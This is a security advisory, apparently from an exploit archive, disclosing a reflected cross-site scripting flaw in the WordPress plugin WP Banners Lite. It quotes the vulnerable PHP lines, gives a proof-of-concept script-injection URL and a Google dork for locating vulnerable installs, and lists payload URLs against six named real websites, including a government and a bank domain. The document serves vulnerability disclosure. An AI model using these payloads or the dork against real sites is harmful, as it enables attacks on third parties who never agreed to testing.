WP Banners Lite 1.40 Cross Site Scripting

`I. Background  
--------------  
[-] Affected plugin: WP Banners Lite  
[-] Plugin Description: The plugin easily allows you to manage ad  
banners on your site.  
[-] Plugin URL: http://wordpress.org/extend/plugins/wp-banners-lite/  
[-] Tested Version: 1.29, 1.31, 1.40  
[-] Reported: YES - but no answer  
[-] Report Date: 03/12/13  
[-] Published:  
http://blog.zerial.org/seguridad/vulnerabilidad-en-plugin-para-wordpress-afecta-a-mas-de-200-sitios/  
  
  
II. Details  
------------  
Cross-Site Scripting flaw discovered on WP-Banners-Lite.  
  
The problem is wpbanners_show.php, at lines 8 and 9, the developer  
doesn't filter correctly the variable called "cid" obtained from URL  
(Method GET). He obtains "cid" from URL, do a str_replace to remove '  
and then he print it.  
  
[+] File: wpbanners_show.php  
[-] Line 8: $cid = $_GET["cid"];  
[-] Line 9: $cid = str_replace("'", "", $cid);  
[-] Line 51: echo 'jQuery(\'#'.$cid.'\').replaceWith(\''.$banner.'\')';  
  
Then, we can inject our own html or javascript code.  
  
III. Exploit  
-------------  
The vulnerability can be exploited by injecting html or javascript  
code as following:  
  
http://localhost/wordpress/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=1&cid=a_<script>alert(/XSS  
Proof-of-Concept/)</script>  
  
IV. URL around the world  
-------------------------  
[-] Google Dork: inurl:wp-banners-lite inurl:wpbanners_show filetype:php  
  
Demo:  
  
http://www.thexfactornews.co.uk/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=6&cid=a_8b2dfbe0c1d43f9537dae01e96458ff1%3Cscript%3Ealert%28/XSS/%29%3C/script%3E  
  
http://www.forexlistings.net/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=1&cid=a_dc09c97fd73d7a324bdbfe7c79525f64%3Cscript%3Ealert%28/XSS/%29%3C/script%3E  
  
http://www.the-news.co/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=1&cid=a_cf9a242b70f45317ffd281241fa66502%3Cscript%3Ealert%28/XSS/%29%3C/script%3E  
  
http://web.casinodesalamanca.es/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=2&cid=a_505259756244493872b7709a8a01b536%3Cscript%3Ealert%28/XSS/%29%3C/script%3E  
  
https://www.ironbank.com/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=4&cid=a_13b919438259814cd5be8cb45877d577%3Cscript%3Ealert%28/XSS/%29%3C/script%3E  
  
http://www.defensa.gob.ec/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=3&cid=a_94ef7214c4a90790186e255304f8fd1f%3Cem%3Ea%3Cscript%3Ealert%28/XSS/%29%3C/script%3E  
  
  
cheers,  
--   
Fernando A. Lagos Berardi  
Seguridad Informatica  
GNU/Linux User #382319  
Blog: http://blog.zerial.org  
Jabber: [email protected]  
  
  
`